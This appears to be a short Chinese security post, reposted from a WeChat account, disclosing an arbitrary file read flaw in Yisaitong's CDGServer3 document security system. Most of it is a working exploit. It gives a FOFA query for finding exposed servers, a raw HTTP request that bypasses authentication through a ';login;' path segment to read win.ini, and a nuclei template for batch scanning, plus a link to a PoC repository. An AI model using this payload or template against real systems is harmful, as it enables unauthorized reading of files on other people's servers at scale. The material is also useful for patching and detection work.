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漏洞描述

亿赛通CDGServer3/client接口存在任意文件读取漏洞

fofa语句

title="电子文档安全管理系统"

漏洞复现

打开页面

构造payload

GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9b
Connection: close
X-Requested-With: XMLHttpRequest

nuclei批量验证

id: Yisaitong-CDGServer3-Readfile

info:
  name: 亿赛通CDGServer3接口存在任意文件读取漏洞 
  author: changge
  severity: high

  description: |
  reference:
    - https://127.0.0.1
  tags: yisaitong

http:
  - raw:
      - |
        GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=ox9wcxwck7g1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        X-Requested-With: XMLHttpRequest
        Accept-Encoding: gzip, deflate, br
        Accept-Language: zh-CN,zh;q=0.9b
        Connection: close


    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"[fonts]")

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（长歌安全）：亿赛通CDGServer3/client接口存在任意文件读取漏洞